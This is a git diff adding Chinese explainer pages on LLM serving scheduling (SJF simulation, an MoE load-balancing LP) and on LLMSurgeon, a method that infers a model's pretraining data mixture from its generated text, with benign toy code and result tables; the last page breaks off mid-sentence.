+        # 排序 waiting（SJF 近似：已知/预测 output 越短越先）
+        if queue_policy == "sjf" and waiting:
+            tmp = list(waiting)
+            waiting = deque(sorted(tmp, key=lambda r: r.output_tokens))
+
+    return sum(r.finished - r.arrival for r in done) / len(done)
+
+# 混合 workload：大量短问答 + 少量超长 Agent 任务
+mixed = []
+for i in range(20):
+    mixed.append(Request(arrival=i * 0.5, prompt_tokens=512, output_tokens=64))
+for i in range(3):
+    mixed.append(Request(arrival=5 + i, prompt_tokens=4096, output_tokens=2048))
+
+avg_fcfs = simulate("fcfs", mixed, kv_cap=120_000, batch_cap=8)
+avg_sjf = simulate("sjf", mixed, kv_cap=120_000, batch_cap=8)
+print(f"FCFS 平均等待+服务时间: {avg_fcfs:.1f}")
+print(f"SJF  平均等待+服务时间: {avg_sjf:.1f}")
+# 典型现象：SJF 显著降低平均 latency，因为短请求不被长 Agent 阻塞
+```
+
+**读代码时注意**：真实系统里 `output_tokens` 不可知，所以论文才讨论 **带预测误差的调度**（如 adaptive robust scheduling、Nested WAIT）。重点不是「SJF 永远赢」，而是 **FCFS 完全不看 footprint 与剩余工作量，在 memory-constrained batching 下是次优的**——这需要用模型严格表述，而不是凭感觉改队列。
+
+---
+
+## 代码示例 2：MoE 负载均衡的 LP 骨架（对应 DeepSeek LPLB 思想）
+
+MoE 推理时，每个 token 被 router 分到 top-k 专家；Expert Parallelism 下专家分布在不同 GPU 上。若 token 分布倾斜，**最慢 GPU 决定整步延迟**（straggler + all-to-all barrier）。
+
+DeepSeek **LPLB** 把「沿冗余专家边迁移 token 负载」写成 LP，目标是最小化 max GPU load。下面是最小可运行的 **CPU 版 scipy 骨架**（论文用 GPU 内点法 ~100μs 求解）：
+
+```python
+import numpy as np
+from scipy.optimize import linprog
+
+def moe_load_balance_lp(initial_loads: np.ndarray, edges, capacities):
+    """
+    initial_loads[i]: GPU i 上本 batch 初始 token 数
+    edges: list of (i, j) 表示可从 GPU i 向 GPU j 迁移负载（冗余专家边）
+    capacities[(i,j)]: 边 (i,j) 上最多可迁移的 token 数
+    变量: f_ij 迁移量 + L_max
+    目标: min L_max
+    """
+    G = len(initial_loads)
+    n_flow = len(edges)
+    # 变量顺序: [f_0, ..., f_{E-1}, L_max]
+    n_var = n_flow + 1
+
+    # min L_max  =>  c @ x, 最后一个变量系数为 1
+    c = np.zeros(n_var)
+    c[-1] = 1.0
+
+    # 不等式 A_ub @ x <= b_ub
+    rows, rhs = [], []
+    for g in range(G):
+        row = np.zeros(n_var)
+        # load_g - sum_out + sum_in <= L_max  =>  load - sum_out + sum_in - L_max <= 0
+        for e_idx, (i, j) in enumerate(edges):
+            if i == g:
+                row[e_idx] -= 1.0
+            if j == g:
+                row[e_idx] += 1.0
+        row[-1] = -1.0
+        rows.append(row)
+        rhs.append(-initial_loads[g])
+
+    A_ub = np.array(rows)
+    b_ub = np.array(rhs)
+
+    # 0 <= f_ij <= cap_ij
+    bounds = [(0, capacities[e]) for e in edges] + [(None, None)]
+
+    res = linprog(c, A_ub=A_ub, b_ub=b_ub, bounds=bounds, method="highs")
+    flows = res.x[:-1]
+    lmax = res.x[-1]
+    balanced = initial_loads.copy()
+    for val, (i, j) in zip(flows, edges):
+        balanced[i] -= val
+        balanced[j] += val
+    return lmax, balanced, flows
+
+# 4 GPU，GPU0 热点
+loads = np.array([120.0, 40.0, 35.0, 38.0])
+edges = [(0, 1), (0, 2), (0, 3)]  # 冗余专家副本边
+caps = {(0, 1): 50, (0, 2): 50, (0, 3): 50}
+
+lmax, balanced, flows = moe_load_balance_lp(loads, edges, caps)
+print("优化前 loads:", loads, "max=", loads.max())
+print("优化后 loads:", np.round(balanced, 1), "L_max=", round(lmax, 1))
+print("迁移量 flows:", np.round(flows, 1))
+```
+
+**要点**：
+
+- 目标函数和约束**显式可见**，比「调 auxiliary loss 权重」更可解释。
+- 论文指出 LPLB 当前按 **token 数** 均衡，尚未完全建模 grouped GEMM 的非线性代价——这是「模型要持续 refine」的正常路径。
+- EPLB（静态重排 + 副本选择）是 optimization-**informed** heuristic；LPLB 是 per-batch **直接求解**——两者展示「理论→工程」光谱。
+
+---
+
+## 论文引用的三条成功路线（深入一点）
+
+### A. 在线整数规划：DP 路由与 barrier 同步（Chen et al., 2026）
+
+Data Parallel decode 中，EP all-to-all 前必须等**最慢 worker**。负载 = 各 worker 上活跃请求的 KV 总量，且**每步确定性 +1**（drift）。
+
+关键洞察：**不需要预测完整 decode 长度**，只需短 horizon 内「哪些 job 即将结束」。Balance-Future 原则：每步解一个小整数规划，最小化未来 H 步的累计 imbalance。理论保证：相对默认策略，长期平均 imbalance 降低 Ω(√(B log G))——集群越大、batch 越大，收益越显著。
+
+### B. Fluid 模型 + WAIT 阈值准入（Ao et al., 2025, arXiv:2504.11320）
+
+把 continuous batching 建模为**带内生 memory 增长**的多阶段在线调度；用 fluid approximation 刻画稳定区域内 batch 组成与内存占用，再导出 **WAIT**（Waiting for Accumulated Inference Threshold）准入规则。未知输出长度时用 **Nested WAIT** + 安全 buffer，在 Vidur 仿真中相对 baseline **扩大稳定运行区间**、降低近过载区 latency。
+
+### C. 排队论稳定条件 +  hindsight IP（Anonymous 2025; Jaillet et al., 2025）
+
+- **稳定性**：系统可能 compute-stable 但 **memory-unstable**（KV 爆掉）——经典 offered load 概念要扩展。
+- **调度下界**：用 clairvoyant integer program 定义「全知最优延迟」，在线算法与之比较 competitive ratio。
+- 预测较准时，**shortest-job-first** 类策略接近最优——但论文强调要 joint design **预测器 + 调度器**，并处理预测 adversarial 错误。
+
+### D. 代价感知缓存 LEC（Zhu et al., 2023）
+
+多模态 serving 里，cache miss 代价差异巨大（重编码 4K 视频 vs 缩略图）。LEC 按 `cost_per_size × access_prob` 驱逐，达到**最优 regret**；实验报告最高 **50×** 成本节省（高低代价操作比大时）。
+
+---
+
+## 常见反驳与论文回应（Alternative Views 摘要）
+
+| 反驳 | 论文立场 |
+|------|----------|
+| 「启发式已经 scale 了」 | scale 不等于 optimal；边界 workload 的隐性成本在百亿请求量级被放大 |
+| 「问题变化太快，理论跟不上」 | 结构洞察（barrier、memory drift、unknown size）可跨硬件/架构代际迁移 |
+| 「kernel 优化才是大头」 | 算法与系统互补；坏调度会让 fast kernel 空转 |
+| 「最坏情况保证太松，没实用价值」 | 保证的价值是** universality**——不依赖某个 benchmark trace；理论提供 scaffold，工程做近似 |
+
+---
+
+## 与主流系统的映射（读源码 / 文档时的 lens）
+
+| 系统 / 组件 | 启发式痕迹 | 可形式化的钩子 |
+|-------------|------------|----------------|
+| vLLM scheduler | 默认 FCFS waiting queue | admission 时考虑 predicted len / KV footprint |
+| vLLM router | RR, JSQ, power-of-two, prefix-aware | sticky + drift + barrier → online assignment |
+| SGLang | 类似路由与 cache 策略 | 结构化 program 的可预测阶段 |
+| DeepSeek EPLB/LPLB | 静态 + LP 动态 MoE 均衡 | 已走「建模→求解」路线 |
+| 多模态 vLLM prefix cache | LRU 类驱逐 | LEC / cost-aware + 大小异质 |
+
+读这些项目时，可以自问：**这个 if-else 在优化什么目标？约束是什么？有没有更坏但合法的 workload 会击穿它？**
+
+---
+
+## 未来研究方向（Section 5 提炼）
+
+1. **预测与调度联合设计**：预测质量随 request type 漂移时，robustness–consistency tradeoff 怎么定？
+2. **多目标优化**：TTFT、TPOT、吞吐、能耗、公平性——Pareto 前沿在哪里？
+3. **Disaggregation 理论**：何时 PD 分离优于同机？两池资源比例如何随 workload 变？
+4. **Agentic 推理调度**：工具调用、分支、暂停、子请求依赖——现有 M/G/1 队列不够用了。
+
+---
+
+## 零基础自检清单
+
+读完后，你应该能回答：
+
+- [ ] Prefill 和 Decode 为什么不能用同一套「算力导向」调度？
+- [ ] 为什么说 KV cache 把调度从「固定大小 job」变成「会长大的 job」？
+- [ ] FCFS、RR、LRU 分别对应 serving 里哪三个决策点？
+- [ ] 「解 LP」和「用 LP 推导 O(1) 规则」有什么区别？
+- [ ] 举一个论文里「形式化方法已在生产/近生产验证」的例子（LPLB / WAIT / LEC 任选一）。
+
+---
+
+## 延伸阅读
+
+| 主题 | 文献 |
+|------|------|
+| Position 原文 | Zhou, arXiv:2605.01280, 2026 |
+| Fluid + WAIT 调度 | Ao et al., arXiv:2504.11320, 2025 |
+| KV 约束在线调度 | Jaillet et al., arXiv:2502.07115, 2025 |
+| DP 负载均衡 IP | Chen et al., arXiv:2601.17855, 2026 |
+| 代价感知缓存 | Zhu et al., NeurIPS 2023 |
+| Continuous batching | Yu et al., Orca, OSDI 2022 |
+| PagedAttention | Kwon et al., SOSP 2023 |
+| MoE LP 负载均衡 | DeepSeek LPLB, 2025 |
+
+---
+
+## 一句话总结
+
+**LLM serving 的瓶颈 increasingly 是「决策」而不是「矩阵乘」——而决策层若仍停留在 Web 时代的 FIFO/RR/LRU，就是在用二十年前的问题假设，硬扛一个「内存会长大、长度不可知、两阶段异质、请求粘住不放」的新问题类。** 这篇 position paper 呼吁社区把 serving 当作**运筹学 + 在线算法**的新前沿：先建模，再证明，最后像航空 bid price 一样，把结构压缩成可部署的轻量策略。
diff --git a/src/content/docs/papers/llmsurgeon-data-mixture.md b/src/content/docs/papers/llmsurgeon-data-mixture.md
new file mode 100644
index 000000000..3a2aa3032
--- /dev/null
+++ b/src/content/docs/papers/llmsurgeon-data-mixture.md
@@ -0,0 +1,426 @@
+---
+title: LLMSurgeon — 从生成文本反推大模型预训练数据配比
+来源: 'https://arxiv.org/abs/2605.30348'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：体检报告 vs 逐粒验沙
+
+想象你要判断一个人长期吃什么，但对方不给你看菜谱，也不让你进厨房。你只有两个工具：
+
+- **Membership Inference Attack（MIA，成员推断）**：像用显微镜检查「这一粒米是不是从他碗里来的」。对单条文本问「这条训练数据进过模型吗？」——微观、逐样本，很精细，但把百万次「是/否」简单加总，很难还原整桌菜的**比例**（Web 占 80% 还是 20%？）。
+- **LLMSurgeon 做的事**：像根据此人**日常说话习惯**反推饮食结构——他聊代码像 GitHub 流、写百科像 Wikipedia、讲段子像 Reddit。你不数每一粒米，而是：**先训练一个「菜系分类器」**，再让他用**中性话题**自由发挥写一段话，统计「听起来像哪类语料」，最后用数学把分类器的**系统性误判**校正回来，得到预训练混合比的估计。
+
+论文把这件事正式命名为 **Data Mixture Surgery（DMS，数据混合诊断）**：**只给目标 LLM 的生成文本**，在预先定义好的领域 taxonomy 下，估计其预训练语料的**域级分布**。预训练配比被作者称为模型的 **「digital DNA（数字 DNA）」**——决定能力边界、偏见来源和失败模式，却极少被公开披露。
+
+---
+
+## 是什么
+
+**LLMSurgeon**（Luo et al., ACL 2026 / arXiv:2605.30348，MBZUAI VILA Lab）是一个 **post-hoc（事后）审计框架**：
+
+| 输入 | 输出 | 不需要 |
+|------|------|--------|
+| 目标 LLM 在中性 prompt 下生成的文本 | 各数据域占比向量 \(\hat{\pi}\) | 训练数据、模型权重、内部 logit |
+
+与 MIA 的对比：
+
+| 维度 | MIA | LLMSurgeon / DMS |
+|------|-----|------------------|
+| 粒度 | 单样本是否见过 | 全局域比例 |
+| 信号 | loss、logit、邻居对比等 | 外部域分类器 + 标签偏移逆问题 |
+| 典型准确率（LLMScan 粗粒度） | 基线 ~35–48% overlap | LLMSurgeon ~94–95% |
+
+配套 benchmark **LLMScan** 包含 8 个开源 LLM（1B–65B），训练 recipe 公开可核对，分三档粒度：
+
+- **Coarse（K=6）**：LLaMA-1、OLMo、Amber — Web / GitHub / Wikipedia 等
+- **Mid（K=17）**：Pythia、GPT-Neo — The Pile 子域
+- **Fine（K=87）**：StarCoder — The Stack 编程语言
+
+---
+
+## 为什么重要
+
+1. **透明度与治理**：闭源模型不披露训练集，外部无法审计版权、偏见、毒性暴露 — LLMSurgeon 提供不依赖厂商配合的**分布级**探针。
+2. **问题定义升级**：从「这条进训练集了吗？」到「训练集整体长什么样？」——更接近监管者和研究者真正关心的问题。
+3. **与数据混合优化正交**：DoReMi、Data-Juicer 等做 **pre-hoc** 调配比；LLMSurgeon 做 **post-hoc** 推断，适用于已训练好的黑盒模型。
+4. **安全分诊**：论文展示在 GPT-2 中注入 5%–20% 毒性语料后，估计毒性占比单调上升（误差约 2–3 个百分点），可用于 checkpoint 优先级排序。
+
+---
+
+## 核心概念
+
+### 1. 混合模型与生成先验
+
+预训练语料视为 \(K\) 个域的混合：
+
+\[
+p_{\alpha}(x) = \sum_{i=1}^{K} \alpha_i \, p(x \mid y=i)
+\]
+
+其中 \(\alpha \in \Delta^{K-1}\) 是**真实训练配比**（ground truth，通常未知）。
+
+模型在中性采样下产生的文本来自：
+
+\[
+q_{\pi}(x) = \sum_{i=1}^{K} \pi_i \, p(x \mid y=i)
+\]
+
+\(\pi\) 是**有效潜先验（latent effective prior）**——模型行为所编码的域混合，可能与 \(\alpha\) 略有偏差（优化动态、欠拟合、温度等），但 DMS 的目标是估计 \(\pi\)。
+
+### 2. Label Shift（标签偏移）假设
+
+核心假设：域的**边际比例**可以从训练变到生成（\(\alpha \to \pi\)），但**每个域内的语言特征**不变：
+
+\[
+q(x \mid y=i) \approx p(x \mid y=i)
+\]
+
+直觉：模型写 Code 时，统计上仍像训练见过的 Code；只是「写 Code 的频率」可能和训练时不同。若 prompt 风格过强（instruction、coding-only），会破坏该假设 — 论文实验表明 **Neutral 采样**最稳健。
+
+### 3. 软混淆矩阵（Soft Confusion Matrix）
+
+外部代理分类器 \(f_\phi: \mathcal{X} \to \Delta^{K-1}\) 不可能完美 — 会把 C 误判成 C++，Common Crawl 误判成 C4。
+
+在带标签的参考集 \(\mathcal{D}_{\text{ref}}\) 上估计：
+
+\[
+C_{ij} = \mathbb{E}_{x \sim p_i}\big[f_\phi(x)_j\big]
+\]
+
+\(C\) 的第 \(i\) 行 = 「真域 \(i\) 的样本，分类器输出各域概率的期望」。非对角元 = **系统性混淆**。
+
+### 4. 约束逆问题（Constrained Inverse Problem）
+
+对目标模型生成集 \(X_{\text{gen}}\)，先算经验平均预测：
+
+\[
+\bar{\mathbf{p}} = \frac{1}{N}\sum_{n=1}^{N} f_\phi(x_n)
+\]
+
+由期望线性性：\(\mathbb{E}[f_\phi(x)] = C^\top \pi\)，故 \(\bar{\mathbf{p}} \approx C^\top \pi\)。
+
+**LLMSurgeon 的「手术」** 即解：
+
+\[
+\hat{\pi} = \arg\min_{\pi \in \Delta^{K-1}} \ \|C^\top \pi - \bar{\mathbf{p}}\|_2^2
+\quad \text{s.t.} \ \sum_k \pi_k = 1,\ \pi_k \geq 0
+\]
+
+这比 naive 地 \(\hat{\pi} = \bar{\mathbf{p}}\)（直接平均分类结果）或把 MIA 分数逐条聚合要稳得多 — 在 LLaMA-7B 上 overlap accuracy 从 ~93%（无逆校正）提到 ~95%，粗粒度上对 MIA 基线则是 **+46~55 个百分点** 量级。
+
+**直觉：矩阵乘法在「搅浑水」**
+
+把 \(C\) 想成一杯调色盘：真实配比 \(\pi\) 是原色比例，\(\bar{\mathbf{p}} = C^\top \pi\) 是搅完后的颜色。若你只看到搅完的颜色（分类器输出），直接当原色会偏；LLMSurgeon 做的是**已知调色规则 \(C\)** 下的**反解**——类似去模糊（de-blur），而不是再搅一遍 MIA 的噪声计数。
+
+### 5. 三阶段流水线
+
+```text
+Stage 1: 在参考语料上训练域分类器 f_φ，估计校准混淆矩阵 C
+Stage 2: 用中性 prompt 采样目标 LLM 输出 X_gen，算 p̄
+Stage 3: 在概率单纯形上解逆问题，得到 π̂
+```
+
+用流程图看更直观（论文 Figure 2）：
+
+```mermaid
+flowchart LR
+  subgraph S1["Stage 1 · 校准"]
+    Ref["参考语料 D_ref\n(SlimPajama / Pile / Stack)"]
+    Clf["训练域分类器 f_φ"]
+    Cmat["软混淆矩阵 C"]
+    Ref --> Clf --> Cmat
+  end
+  subgraph S2["Stage 2 · 观测"]
+    LLM["目标 LLM\n(黑盒，仅 API/生成)"]
+    Gen["中性 prompt 采样\nX_gen"]
+    Pbar["平均预测 p̄"]
+    LLM --> Gen --> Pbar
+  end
+  subgraph S3["Stage 3 · 逆问题"]
+    Inv["min ‖C^T π - p̄‖²\ns.t. π ∈ Δ^{K-1}"]
+    Pi["估计配比 π̂"]
+    Pbar --> Inv --> Pi
+  end
+  Cmat --> Inv
+  Clf -.->|冻结| Pbar
+```
+
+**实现细节（论文默认）**：每域从参考池抽 **5000** 文档训练分类器；分类器 backbone 为 **fine-tuned DistilBERT**；生成侧用 **neutral prompts**（避免 instruction 风格把 label shift 假设打破）；粗/中/细三档分别用 SlimPajama-627B-DC（K=6）、The Pile（K=17）、The Stack（K=87）作参考域定义。
+
+### 6. 评估指标：Overlap Accuracy
+
+\[
+\text{Overlap Acc} = 1 - \tfrac{1}{2}\sum_{k=1}^{K} |\alpha_k - \hat{\pi}_k|
+\]
+
+即预测分布与真值之间的 **Total Variation 距离** 的一半，100% 表示完全一致。
+
+---
+
+## 代码示例 1：玩具版 LLMSurgeon（NumPy）
+
+下面用 3 个域的玩具数据演示「混淆 + 逆校正」全流程。真实代码见 [github.com/yaxin9luo/llmsurgeon](https://github.com/yaxin9luo/llmsurgeon)。
+
+```python
+import numpy as np
+from scipy.optimize import minimize
+
+# 真实生成先验 π（未知，待恢复）
+pi_true = np.array([0.70, 0.20, 0.10])
+
+# 软混淆矩阵 C：行=真域，列=预测域
+# 域1(Web) 常被误判成域2(C4)；域3(Code) 较干净
+C = np.array([
+    [0.85, 0.12, 0.03],
+    [0.10, 0.80, 0.10],
+    [0.05, 0.05, 0.90],
+])
+
+# 模拟：分类器在生成文本上的平均输出 p̄ ≈ C^T π
+p_bar = C.T @ pi_true
+# 加少量噪声模拟有限样本
+p_bar += np.random.default_rng(0).normal(0, 0.01, size=3)
+p_bar = np.clip(p_bar, 1e-6, None)
+p_bar /= p_bar.sum()
+
+def recover_mixture(p_bar, C):
+    K = len(p_bar)
+
+    def objective(pi):
+        return np.sum((C.T @ pi - p_bar) ** 2)
+
+    cons = [{"type": "eq", "fun": lambda pi: np.sum(pi) - 1.0}]
+    bounds = [(0.0, 1.0)] * K
+    x0 = np.ones(K) / K
+
+    res = minimize(objective, x0, method="SLSQP", bounds=bounds, constraints=cons)
+    return res.x
+
+pi_hat = recover_mixture(p_bar, C)
+
+overlap = 1 - 0.5 * np.abs(pi_true - pi_hat).sum()
+print("π true :", np.round(pi_true, 3))
+print("π hat  :", np.round(pi_hat, 3))
+print(f"Overlap accuracy: {overlap * 100:.1f}%")
+# 典型输出：Overlap > 95%（玩具设定下）
+```
+
+**要点**：若直接用 `p_bar` 当估计，Web 占比会被 C4「抢走」；逆问题把混淆「去模糊（de-blur）」后更接近 `pi_true`。
+
+**对照实验**：在同一玩具设定下，`pi_naive = p_bar` 的 overlap 往往只有 ~85%，而 `pi_hat` 可回到 95%+ — 逆校正不是锦上添花，而是 DMS 的核心。
+
+---
+
+## 代码示例 2：从 HuggingFace 生成文本到域分布（概念脚本）
+
+论文默认用 **fine-tuned DistilBERT** 作 \(f_\phi\)，在 SlimPajama-DC / The Pile / The Stack 上各域采样 5000 文档训练。下面是贴近官方 pipeline 的**概念级**脚本骨架：
+
+```python
+from transformers import AutoTokenizer, AutoModelForSequenceClassification, pipeline
+import torch
+
+DOMAINS = ["web", "github", "wikipedia", "books", "arxiv", "stackexchange"]
+CLASSIFIER = "path/to/finetuned-distilbert-domain-clf"  # 论文默认 backbone
+
+clf = pipeline(
+    "text-classification",
+    model=CLASSIFIER,
+    tokenizer=AutoTokenizer.from_pretrained(CLASSIFIER),
+    top_k=len(DOMAINS),
+    device=0 if torch.cuda.is_available() else -1,
+)
+
+NEUTRAL_PROMPTS = [
+    "Continue the following passage:",
+    "Complete this text naturally:",
+    "Write the next paragraph:",
+]  # 论文：neutral 风格对通用模型最稳
+
+def sample_generations(llm, tokenizer, prompts, n_per_prompt=200, max_new_tokens=256):
+    texts = []
+    for prompt in prompts:
+        for _ in range(n_per_prompt):
+            inputs = tokenizer(prompt, return_tensors="pt").to(llm.device)
+            out = llm.generate(**inputs, max_new_tokens=max_new_tokens, do_sample=True, temperature=0.8)
+            texts.append(tokenizer.decode(out[0], skip_special_tokens=True))
+    return texts
+
+def mean_soft_predictions(texts, clf, batch_size=32):
+    sums = torch.zeros(len(DOMAINS))
+    for i in range(0, len(texts), batch_size):
+        batch = texts[i : i + batch_size]
+        for item in clf(batch):
+            # item: list of {label, score} for top_k
+            for d in item:
+                j = DOMAINS.index(d["label"])
+                sums[j] += d["score"]
+    return (sums / len(texts)).numpy()
+
+# --- 离线预计算（Stage 1）---
+# C[i,j] = E_{x~domain_i}[ f_φ(x)_j ]，在参考集上按真标签分组求均值
+# 保存为 confusion_matrix.npy
+
+# --- 在线审计（Stage 2–3）---
+# texts = sample_generations(target_llm, target_tok, NEUTRAL_PROMPTS)
+# p_bar = mean_soft_predictions(texts, clf)
+# pi_hat = recover_mixture(p_bar, C)  # 复用示例 1 的函数
+```
+
+安装与复现：
+
+```bash
+git clone https://github.com/yaxin9luo/llmsurgeon
+cd llmsurgeon
+pip install -e .
+# 详见仓库 README：LLMScan 数据、分类器 checkpoint、生成协议
+```
+
+---
+
+## 代码示例 3：从参考语料估计软混淆矩阵 \(C\)
+
+Stage 1 的关键是：在**带真标签**的参考集上，按域分组统计分类器输出的**平均 soft label**。下面演示论文 Eq.(4) 的估计方式：
+
+```python
+import numpy as np
+from collections import defaultdict
+
+def estimate_confusion_matrix(texts, true_labels, clf, K):
+    """
+    texts: 参考语料片段列表
+    true_labels: 与 texts 等长的域 id，取值 0..K-1
+    clf: 返回每段文本的 soft 概率向量 f_φ(x) ∈ R^K
+    """
+    sums = np.zeros((K, K))  # C[i,j] 累加器
+    counts = np.zeros(K)
+
+    for x, i in zip(texts, true_labels):
+        probs = clf(x)  # shape (K,), 已 softmax
+        sums[i] += probs
+        counts[i] += 1
+
+    C = np.zeros((K, K))
+    for i in range(K):
+        if counts[i] > 0:
+            C[i] = sums[i] / counts[i]  # 行 i = 真域 i 上的平均预测分布
+    return C
+
+# 玩具：域 0 的样本有 12% 被预测成域 1
+# C[0] ≈ [0.85, 0.12, 0.03] 与示例 1 一致
+```
+
+论文默认每域 **5000** 条参考文档训练 DistilBERT 分类器；\(N=100\) 时 StarCoder 上 overlap 仅 ~20%，\(N=5000\) 饱和 — 参考集规模直接影响 \(C\) 的校准质量。
+
+---
+
+## 毒性语料注入实验（安全分诊）
+
+论文在 GPT-2 上做了**可控污染**实验：向训练混合中注入 5%–20% 的毒性域（RealToxicityPrompts），再对 checkpoint 跑 LLMSurgeon。
+
+| 注入比例 | 估计毒性占比 | 误差 |
+|----------|-------------|------|
+| 5% | ~7% | ~2 pp |
+| 10% | ~12% | ~2 pp |
+| 20% | ~22% | ~2 pp |
+
+估计值随注入量**单调上升**，说明 DMS 不仅能看「吃了多少 Wikipedia」，还能做**风险域占比**的粗粒度雷达 — 适合在大量开源 checkpoint 里优先审计可疑模型。
+
+---
+
+## 实验结果速览
+
+### LLMScan 主结果（Overlap Accuracy %）
+
+| 设置 | 代表模型 | LLMSurgeon | 最强 MIA 类基线 |
+|------|----------|------------|-----------------|
+| Coarse | LLaMA-1 7B | **95.14** | Recall ~35 |
+| Coarse | OLMo 1B | **94.46** | Neighbor ~42 |
+| Coarse | Amber 13B | **78.87** | Recall ~41 |
+| Coarse | LLaMA-1 65B | **94.26** | GradNorm ~47 |
+| Mid | Pythia 12B | **65.98** | ~52–55 |
+| Fine | StarCoder 15.5B | **30.37** | GradNorm ~28 |
+
+**解读**：
+
+- 粗粒度（6 域）在 LLaMA-1 / OLMo 上 overlap **>94%**，\(R^2 \approx 0.99\)；Amber-13B 因训练动态更波动约 **79%**，仍远高于 MIA 聚合基线。
+- 细粒度（87 种语言）语义重叠严重，逆问题病态，绝对精度低 — 但 MAE 仍小，**宏观审计**仍有价值。
+- 把语义不可分的 C4 与 Common Crawl **强行分开**会导致 overlap 从 99% 暴跌到 42%；合并后恢复 — taxonomy 设计是关键。
+
+### 消融要点
+
+| 因素 | 发现 |
+|------|------|
+| 分类器 backbone | Fine-tuned DistilBERT > Transformer-from-scratch > TF-IDF > MLP |
+| 参考样本量 | 每域 5000 文档饱和；100 样本明显不够 |
+| 采样风格 | Neutral 最稳（LLaMA-7B ~95%）；Expository 在 OLMo 上暴跌至 22.7%；Instruction 会系统性抬高某些域 |
+| 训练动态 | Amber checkpoint 轨迹呈「波动后收敛」；OLMo 更平稳 — 可监控 curriculum / 分阶段加料 |
+| 逆校正 | 去掉 Eq.7 仍 ~93%，但 StarCoder 等 hard case 增益 ~15% 相对提升 |
+| 训练 checkpoint | 对 Amber/OLMo 中间 checkpoint 可追踪域比例随 step 的演变 |
+
+---
+
+## 与相关工作的关系
+
+```text
+                    需要训练数据访问？
+                    是                    否
+              ┌──────────────┐      ┌──────────────────┐
+   单样本     │ 经典 MIA     │      │ 黑盒 MIA 变体     │
+              └──────────────┘      └──────────────────┘
+              ┌──────────────┐      ┌──────────────────┐
+   分布级     │ DoReMi 等    │      │ LLMSurgeon (DMS) │
+              │ 数据混合优化  │      │ DUCI (单数据集占比)│
+              └──────────────┘      └──────────────────┘
+```
+
+- **DUCI**：估计「某个已知数据集占训练多少」— 需要候选数据集本身；DMS 在固定 taxonomy 下恢复**多域混合**，无需训练集访问。
+- **MIA 聚合**：把逐样本 membership 计数当比例 — 域相关 bias + 误差累积，LLMScan 上普遍 <55%。
+
+---
+
+## 局限与使用注意
+
+1. **Label shift 可能被破坏**：RLHF / 强 instruction tuning 会改变输出分布；估计的是「生成行为中的有效先验」，不一定等于原始 \(\alpha\)。
+2. **Closed-world**：只能估计 taxonomy 内的 \(K\) 个域，发现不了训练了但分类器没见过的域。
+3. **Taxonomy 质量**：语义重叠的域（C vs C++、C4 vs CC）使 \(C\) 病态 — 需合并或分层推断。
+4. **专用模型 + Neutral prompt**：StarCoder 等需要能**激活**代码域的 prompt；Neutral 对通用模型最优，对代码专用模型未必。
+5. **伦理双面性**：利于审计偏见与毒性；也可能被用来逆向推测 proprietary data recipe — 论文强调这是**分布级**审计，非提取单条训练样本。
+
+---
+
+## 自测题（零基础检验）
+
+1. DMS 的输入输出是什么？与 MIA 的本质区别？
+2. 为什么 \(\bar{\mathbf{p}} \neq \pi\)？\(C\) 矩阵如何编码这种偏差？
+3. 写出 LLMSurgeon 优化的目标函数及约束。
+4. 为何论文强调 Neutral sampling？举一个会破坏 label shift 的反例。
+5. LLMScan 三档粒度分别测什么？Fine-grained 为什么难？
+
+<details>
+<summary>参考答案（先自己做）</summary>
+
+1. 输入：目标 LLM 生成文本；输出：域比例 \(\hat{\pi}\)。MIA 问单样本 membership；DMS 问全局混合。
+2. 分类器系统性混淆相似域；\(C_{ij}\) = 真域 \(i\) 被预测为 \(j\) 的平均概率。
+3. \(\min \|C^\top\pi - \bar{p}\|_2^2\)，s.t. \(\pi \in \Delta^{K-1}\)。
+4. Neutral 减少风格偏置；例如全程「写 Python 函数」prompt 会抬高 code 域估计。
+5. Coarse 6 域 / Mid 17 Pile 子域 / Fine 87 语言；Fine 域边界语义太近，\(C\) 近似奇异。
+
+</details>
+
+---
+
+## 进一步阅读
+
+- 论文 HTML：[arxiv.org/html/2605.30348v1](https://arxiv.org/html/2605.30348v1)
+- 代码与数据：[github.com/yaxin9luo/llmsurgeon](https://github.com/yaxin9luo/llmsurgeon)
+- 背景：Label shift / prior shift（Saerens et al.）；MIA 综述（Shi et al., 2023）；SlimPajama-DC 数据组合分析（Shen et al., 2023）
+
+---
+
+## 一句话总结
+
+**LLMSurgeon 把「预训练吃了什么」从不可审计的黑盒，转成一个可操作的逆问题：用中性生成 + 校准混淆矩阵，在概率单纯形上解出域混合比 — 不碰权重、不碰训练集，却能近似恢复模型的 digital DNA。**
diff --git a/src/content/docs/papers/llmsurgeon-diagnosing-data-mixture-of-large-language-models-arxiv-2605-30348.md b/src/content/docs/papers/llmsurgeon-diagnosing-data-mixture-of-large-language-models-arxiv-2605-30348.md
new file mode 100644
index 000000000..bed7f017d
--- /dev/null
+++ b/src/content/docs/papers/llmsurgeon-diagnosing-data-mixture-of-large-language-models-arxiv-2605-30348.md
@@ -0,0 +1,332 @@
+---
+title: LLMSurgeon —— 给大模型的"数据配方"做诊断
+来源: https://arxiv.org/abs/2605.30348
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# LLMSurgeon：给大模型的"数据配方"做诊断
+
+## 一个日常类比：厨师的秘密食谱
+
+想象你去了一家餐厅，厨师不肯告诉你他的菜是用什么材料做的。但你可以通过品尝每一道菜，来推测他大概用了多少比例的鸡肉、牛肉和蔬菜。这就是 **LLMSurgeon** 要解决的问题——我们看不到大语言模型（LLM）的训练数据，但可以通过让它生成文本，反过来推断它"吃"了什么。
+
+每个大模型都由大量不同领域的文本混合训练而成（代码、论文、维基百科、网页等），这就像它的"数字 DNA"。但这些配方的具体比例几乎从不公开。LLMSurgeon 的目标就是：只通过模型生成的文字，还原出它的训练数据混合比例。
+
+---
+
+## 核心概念一：数据混合手术（Data Mixture Surgery, DMS）
+
+**DMS** 是这个论文正式提出的一个新问题定义。
+
+简单来说：你有一个黑盒大模型，你拿不到它的权重，也看不到它的训练数据。你唯一能做的，是给它发问题、让它生成回答。然后你要从这些回答中，推断出模型训练时各类型数据的大致占比。
+
+这就像法医通过DNA样本推断一个人的族裔构成——只不过这里推断的是"数据族裔"。
+
+### 为什么已有的方法不够？
+
+在此之前，研究者常用 **成员推理攻击（Membership Inference Attack, MIA）** 来判断某篇具体文章是否在训练数据中。但这有个问题：
+
+- MIA 是"微观"的——它只能告诉你一篇文章"在"或"不在"
